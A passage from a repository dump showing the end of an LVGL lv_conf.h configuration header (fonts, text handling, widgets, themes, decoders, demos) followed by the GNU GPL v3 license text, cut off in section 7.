LV_FONT_MONTSERRAT_10 0 355 | #define LV_FONT_MONTSERRAT_12 0 356 | #define LV_FONT_MONTSERRAT_14 1 357 | #define LV_FONT_MONTSERRAT_16 0 358 | #define LV_FONT_MONTSERRAT_18 0 359 | #define LV_FONT_MONTSERRAT_20 0 360 | #define LV_FONT_MONTSERRAT_22 0 361 | #define LV_FONT_MONTSERRAT_24 0 362 | #define LV_FONT_MONTSERRAT_26 0 363 | #define LV_FONT_MONTSERRAT_28 0 364 | #define LV_FONT_MONTSERRAT_30 0 365 | #define LV_FONT_MONTSERRAT_32 0 366 | #define LV_FONT_MONTSERRAT_34 0 367 | #define LV_FONT_MONTSERRAT_36 0 368 | #define LV_FONT_MONTSERRAT_38 0 369 | #define LV_FONT_MONTSERRAT_40 0 370 | #define LV_FONT_MONTSERRAT_42 0 371 | #define LV_FONT_MONTSERRAT_44 0 372 | #define LV_FONT_MONTSERRAT_46 0 373 | #define LV_FONT_MONTSERRAT_48 0 374 | 375 | /*Demonstrate special features*/ 376 | #define LV_FONT_MONTSERRAT_12_SUBPX 0 377 | #define LV_FONT_MONTSERRAT_28_COMPRESSED 0 /*bpp = 3*/ 378 | #define LV_FONT_DEJAVU_16_PERSIAN_HEBREW 0 /*Hebrew, Arabic, Persian letters and all their forms*/ 379 | #define LV_FONT_SIMSUN_16_CJK 0 /*1000 most common CJK radicals*/ 380 | 381 | /*Pixel perfect monospace fonts*/ 382 | #define LV_FONT_UNSCII_8 0 383 | #define LV_FONT_UNSCII_16 0 384 | 385 | /*Optionally declare custom fonts here. 386 | *You can use these fonts as default font too and they will be available globally. 387 | *E.g. #define LV_FONT_CUSTOM_DECLARE LV_FONT_DECLARE(my_font_1) LV_FONT_DECLARE(my_font_2)*/ 388 | #define LV_FONT_CUSTOM_DECLARE 389 | 390 | /*Always set a default font*/ 391 | #define LV_FONT_DEFAULT &lv_font_montserrat_14 392 | 393 | /*Enable handling large font and/or fonts with a lot of characters. 394 | *The limit depends on the font size, font face and bpp. 395 | *Compiler error will be triggered if a font needs it.*/ 396 | #define LV_FONT_FMT_TXT_LARGE 0 397 | 398 | /*Enables/disables support for compressed fonts.*/ 399 | #define LV_USE_FONT_COMPRESSED 0 400 | 401 | /*Enable subpixel rendering*/ 402 | #define LV_USE_FONT_SUBPX 0 403 | #if LV_USE_FONT_SUBPX 404 | /*Set the pixel order of the display. Physical order of RGB channels. Doesn't matter with "normal" fonts.*/ 405 | #define LV_FONT_SUBPX_BGR 0 /*0: RGB; 1:BGR order*/ 406 | #endif 407 | 408 | /*Enable drawing placeholders when glyph dsc is not found*/ 409 | #define LV_USE_FONT_PLACEHOLDER 1 410 | 411 | /*================= 412 | * TEXT SETTINGS 413 | *=================*/ 414 | 415 | /** 416 | * Select a character encoding for strings. 417 | * Your IDE or editor should have the same character encoding 418 | * - LV_TXT_ENC_UTF8 419 | * - LV_TXT_ENC_ASCII 420 | */ 421 | #define LV_TXT_ENC LV_TXT_ENC_UTF8 422 | 423 | /*Can break (wrap) texts on these chars*/ 424 | #define LV_TXT_BREAK_CHARS " ,.;:-_" 425 | 426 | /*If a word is at least this long, will break wherever "prettiest" 427 | *To disable, set to a value <= 0*/ 428 | #define LV_TXT_LINE_BREAK_LONG_LEN 0 429 | 430 | /*Minimum number of characters in a long word to put on a line before a break. 431 | *Depends on LV_TXT_LINE_BREAK_LONG_LEN.*/ 432 | #define LV_TXT_LINE_BREAK_LONG_PRE_MIN_LEN 3 433 | 434 | /*Minimum number of characters in a long word to put on a line after a break. 435 | *Depends on LV_TXT_LINE_BREAK_LONG_LEN.*/ 436 | #define LV_TXT_LINE_BREAK_LONG_POST_MIN_LEN 3 437 | 438 | /*The control character to use for signalling text recoloring.*/ 439 | #define LV_TXT_COLOR_CMD "#" 440 | 441 | /*Support bidirectional texts. Allows mixing Left-to-Right and Right-to-Left texts. 442 | *The direction will be processed according to the Unicode Bidirectional Algorithm: 443 | *https://www.w3.org/International/articles/inline-bidi-markup/uba-basics*/ 444 | #define LV_USE_BIDI 0 445 | #if LV_USE_BIDI 446 | /*Set the default direction. Supported values: 447 | *`LV_BASE_DIR_LTR` Left-to-Right 448 | *`LV_BASE_DIR_RTL` Right-to-Left 449 | *`LV_BASE_DIR_AUTO` detect texts base direction*/ 450 | #define LV_BIDI_BASE_DIR_DEF LV_BASE_DIR_AUTO 451 | #endif 452 | 453 | /*Enable Arabic/Persian processing 454 | *In these languages characters should be replaced with an other form based on their position in the text*/ 455 | #define LV_USE_ARABIC_PERSIAN_CHARS 0 456 | 457 | /*================== 458 | * WIDGET USAGE 459 | *================*/ 460 | 461 | /*Documentation of the widgets: https://docs.lvgl.io/latest/en/html/widgets/index.html*/ 462 | 463 | #define LV_USE_ARC 1 464 | 465 | #define LV_USE_BAR 1 466 | 467 | #define LV_USE_BTN 1 468 | 469 | #define LV_USE_BTNMATRIX 1 470 | 471 | #define LV_USE_CANVAS 1 472 | 473 | #define LV_USE_CHECKBOX 1 474 | 475 | #define LV_USE_DROPDOWN 1 /*Requires: lv_label*/ 476 | 477 | #define LV_USE_IMG 1 /*Requires: lv_label*/ 478 | 479 | #define LV_USE_LABEL 1 480 | #if LV_USE_LABEL 481 | #define LV_LABEL_TEXT_SELECTION 1 /*Enable selecting text of the label*/ 482 | #define LV_LABEL_LONG_TXT_HINT 1 /*Store some extra info in labels to speed up drawing of very long texts*/ 483 | #endif 484 | 485 | #define LV_USE_LINE 1 486 | 487 | #define LV_USE_ROLLER 1 /*Requires: lv_label*/ 488 | #if LV_USE_ROLLER 489 | #define LV_ROLLER_INF_PAGES 7 /*Number of extra "pages" when the roller is infinite*/ 490 | #endif 491 | 492 | #define LV_USE_SLIDER 1 /*Requires: lv_bar*/ 493 | 494 | #define LV_USE_SWITCH 1 495 | 496 | #define LV_USE_TEXTAREA 1 /*Requires: lv_label*/ 497 | #if LV_USE_TEXTAREA != 0 498 | #define LV_TEXTAREA_DEF_PWD_SHOW_TIME 1500 /*ms*/ 499 | #endif 500 | 501 | #define LV_USE_TABLE 1 502 | 503 | /*================== 504 | * EXTRA COMPONENTS 505 | *==================*/ 506 | 507 | /*----------- 508 | * Widgets 509 | *----------*/ 510 | #define LV_USE_ANIMIMG 1 511 | 512 | #define LV_USE_CALENDAR 1 513 | #if LV_USE_CALENDAR 514 | #define LV_CALENDAR_WEEK_STARTS_MONDAY 0 515 | #if LV_CALENDAR_WEEK_STARTS_MONDAY 516 | #define LV_CALENDAR_DEFAULT_DAY_NAMES {"Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"} 517 | #else 518 | #define LV_CALENDAR_DEFAULT_DAY_NAMES {"Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"} 519 | #endif 520 | 521 | #define LV_CALENDAR_DEFAULT_MONTH_NAMES {"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"} 522 | #define LV_USE_CALENDAR_HEADER_ARROW 1 523 | #define LV_USE_CALENDAR_HEADER_DROPDOWN 1 524 | #endif /*LV_USE_CALENDAR*/ 525 | 526 | #define LV_USE_CHART 1 527 | 528 | #define LV_USE_COLORWHEEL 1 529 | 530 | #define LV_USE_IMGBTN 1 531 | 532 | #define LV_USE_KEYBOARD 1 533 | 534 | #define LV_USE_LED 1 535 | 536 | #define LV_USE_LIST 1 537 | 538 | #define LV_USE_MENU 1 539 | 540 | #define LV_USE_METER 1 541 | 542 | #define LV_USE_MSGBOX 1 543 | 544 | #define LV_USE_SPAN 1 545 | #if LV_USE_SPAN 546 | /*A line text can contain maximum num of span descriptor */ 547 | #define LV_SPAN_SNIPPET_STACK_SIZE 64 548 | #endif 549 | 550 | #define LV_USE_SPINBOX 1 551 | 552 | #define LV_USE_SPINNER 1 553 | 554 | #define LV_USE_TABVIEW 1 555 | 556 | #define LV_USE_TILEVIEW 1 557 | 558 | #define LV_USE_WIN 1 559 | 560 | /*----------- 561 | * Themes 562 | *----------*/ 563 | 564 | /*A simple, impressive and very complete theme*/ 565 | #define LV_USE_THEME_DEFAULT 1 566 | #if LV_USE_THEME_DEFAULT 567 | 568 | /*0: Light mode; 1: Dark mode*/ 569 | #define LV_THEME_DEFAULT_DARK 1 570 | 571 | /*1: Enable grow on press*/ 572 | #define LV_THEME_DEFAULT_GROW 1 573 | 574 | /*Default transition time in [ms]*/ 575 | #define LV_THEME_DEFAULT_TRANSITION_TIME 80 576 | #endif /*LV_USE_THEME_DEFAULT*/ 577 | 578 | /*A very simple theme that is a good starting point for a custom theme*/ 579 | #define LV_USE_THEME_BASIC 1 580 | 581 | /*A theme designed for monochrome displays*/ 582 | #define LV_USE_THEME_MONO 1 583 | 584 | /*----------- 585 | * Layouts 586 | *----------*/ 587 | 588 | /*A layout similar to Flexbox in CSS.*/ 589 | #define LV_USE_FLEX 1 590 | 591 | /*A layout similar to Grid in CSS.*/ 592 | #define LV_USE_GRID 1 593 | 594 | /*--------------------- 595 | * 3rd party libraries 596 | *--------------------*/ 597 | 598 | /*File system interfaces for common APIs */ 599 | 600 | /*API for fopen, fread, etc*/ 601 | #define LV_USE_FS_STDIO 0 602 | #if LV_USE_FS_STDIO 603 | #define LV_FS_STDIO_LETTER 'A' /*Set an upper cased letter on which the drive will accessible (e.g. 'A')*/ 604 | #define LV_FS_STDIO_PATH "" /*Set the working directory. File/directory paths will be appended to it.*/ 605 | #define LV_FS_STDIO_CACHE_SIZE 1 /*>0 to cache this number of bytes in lv_fs_read()*/ 606 | #endif 607 | 608 | /*API for open, read, etc*/ 609 | #define LV_USE_FS_POSIX 0 610 | #if LV_USE_FS_POSIX 611 | #define LV_FS_POSIX_LETTER '\0' /*Set an upper cased letter on which the drive will accessible (e.g. 'A')*/ 612 | #define LV_FS_POSIX_PATH "" /*Set the working directory. File/directory paths will be appended to it.*/ 613 | #define LV_FS_POSIX_CACHE_SIZE 0 /*>0 to cache this number of bytes in lv_fs_read()*/ 614 | #endif 615 | 616 | /*API for CreateFile, ReadFile, etc*/ 617 | #define LV_USE_FS_WIN32 0 618 | #if LV_USE_FS_WIN32 619 | #define LV_FS_WIN32_LETTER '\0' /*Set an upper cased letter on which the drive will accessible (e.g. 'A')*/ 620 | #define LV_FS_WIN32_PATH "" /*Set the working directory. File/directory paths will be appended to it.*/ 621 | #define LV_FS_WIN32_CACHE_SIZE 0 /*>0 to cache this number of bytes in lv_fs_read()*/ 622 | #endif 623 | 624 | /*API for FATFS (needs to be added separately). Uses f_open, f_read, etc*/ 625 | #define LV_USE_FS_FATFS 0 626 | #if LV_USE_FS_FATFS 627 | #define LV_FS_FATFS_LETTER '\0' /*Set an upper cased letter on which the drive will accessible (e.g. 'A')*/ 628 | #define LV_FS_FATFS_CACHE_SIZE 0 /*>0 to cache this number of bytes in lv_fs_read()*/ 629 | #endif 630 | 631 | /*PNG decoder library*/ 632 | #define LV_USE_PNG 0 633 | 634 | /*BMP decoder library*/ 635 | #define LV_USE_BMP 0 636 | 637 | /* JPG + split JPG decoder library. 638 | * Split JPG is a custom format optimized for embedded systems. */ 639 | #define LV_USE_SJPG 0 640 | 641 | /*GIF decoder library*/ 642 | #define LV_USE_GIF 1 643 | 644 | /*QR code library*/ 645 | #define LV_USE_QRCODE 0 646 | 647 | /*FreeType library*/ 648 | #define LV_USE_FREETYPE 0 649 | #if LV_USE_FREETYPE 650 | /*Memory used by FreeType to cache characters [bytes] (-1: no caching)*/ 651 | #define LV_FREETYPE_CACHE_SIZE (16 * 1024) 652 | #if LV_FREETYPE_CACHE_SIZE >= 0 653 | /* 1: bitmap cache use the sbit cache, 0:bitmap cache use the image cache. */ 654 | /* sbit cache:it is much more memory efficient for small bitmaps(font size < 256) */ 655 | /* if font size >= 256, must be configured as image cache */ 656 | #define LV_FREETYPE_SBIT_CACHE 0 657 | /* Maximum number of opened FT_Face/FT_Size objects managed by this cache instance. */ 658 | /* (0:use system defaults) */ 659 | #define LV_FREETYPE_CACHE_FT_FACES 0 660 | #define LV_FREETYPE_CACHE_FT_SIZES 0 661 | #endif 662 | #endif 663 | 664 | /*Rlottie library*/ 665 | #define LV_USE_RLOTTIE 0 666 | 667 | /*FFmpeg library for image decoding and playing videos 668 | *Supports all major image formats so do not enable other image decoder with it*/ 669 | #define LV_USE_FFMPEG 0 670 | #if LV_USE_FFMPEG 671 | /*Dump input information to stderr*/ 672 | #define LV_FFMPEG_DUMP_FORMAT 0 673 | #endif 674 | 675 | /*----------- 676 | * Others 677 | *----------*/ 678 | 679 | /*1: Enable API to take snapshot for object*/ 680 | #define LV_USE_SNAPSHOT 0 681 | 682 | /*1: Enable Monkey test*/ 683 | #define LV_USE_MONKEY 0 684 | 685 | /*1: Enable grid navigation*/ 686 | #define LV_USE_GRIDNAV 0 687 | 688 | /*1: Enable lv_obj fragment*/ 689 | #define LV_USE_FRAGMENT 0 690 | 691 | /*1: Support using images as font in label or span widgets */ 692 | #define LV_USE_IMGFONT 0 693 | 694 | /*1: Enable a published subscriber based messaging system */ 695 | #define LV_USE_MSG 1 696 | 697 | /*1: Enable Pinyin input method*/ 698 | /*Requires: lv_keyboard*/ 699 | #define LV_USE_IME_PINYIN 0 700 | #if LV_USE_IME_PINYIN 701 | /*1: Use default thesaurus*/ 702 | /*If you do not use the default thesaurus, be sure to use `lv_ime_pinyin` after setting the thesauruss*/ 703 | #define LV_IME_PINYIN_USE_DEFAULT_DICT 1 704 | /*Set the maximum number of candidate panels that can be displayed*/ 705 | /*This needs to be adjusted according to the size of the screen*/ 706 | #define LV_IME_PINYIN_CAND_TEXT_NUM 6 707 | 708 | /*Use 9 key input(k9)*/ 709 | #define LV_IME_PINYIN_USE_K9_MODE 1 710 | #if LV_IME_PINYIN_USE_K9_MODE == 1 711 | #define LV_IME_PINYIN_K9_CAND_TEXT_NUM 3 712 | #endif // LV_IME_PINYIN_USE_K9_MODE 713 | #endif 714 | 715 | /*================== 716 | * EXAMPLES 717 | *==================*/ 718 | 719 | /*Enable the examples to be built with the library*/ 720 | #define LV_BUILD_EXAMPLES 0 721 | 722 | /*=================== 723 | * DEMO USAGE 724 | ====================*/ 725 | 726 | /*Show some widget. It might be required to increase `LV_MEM_SIZE` */ 727 | #define LV_USE_DEMO_WIDGETS 0 728 | #if LV_USE_DEMO_WIDGETS 729 | #define LV_DEMO_WIDGETS_SLIDESHOW 0 730 | #endif 731 | 732 | /*Demonstrate the usage of encoder and keyboard*/ 733 | #define LV_USE_DEMO_KEYPAD_AND_ENCODER 0 734 | 735 | /*Benchmark your system*/ 736 | #define LV_USE_DEMO_BENCHMARK 0 737 | #if LV_USE_DEMO_BENCHMARK 738 | /*Use RGB565A8 images with 16 bit color depth instead of ARGB8565*/ 739 | #define LV_DEMO_BENCHMARK_RGB565A8 0 740 | #endif 741 | 742 | /*Stress test for LVGL*/ 743 | #define LV_USE_DEMO_STRESS 0 744 | 745 | /*Music player demo*/ 746 | #define LV_USE_DEMO_MUSIC 0 747 | #if LV_USE_DEMO_MUSIC 748 | #define LV_DEMO_MUSIC_SQUARE 0 749 | #define LV_DEMO_MUSIC_LANDSCAPE 0 750 | #define LV_DEMO_MUSIC_ROUND 0 751 | #define LV_DEMO_MUSIC_LARGE 0 752 | #define LV_DEMO_MUSIC_AUTO_PLAY 0 753 | #endif 754 | 755 | /*--END OF LV_CONF_H--*/ 756 | 757 | #endif /*LV_CONF_H*/ 758 | 759 | #endif /*End of "Content enable"*/ 760 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 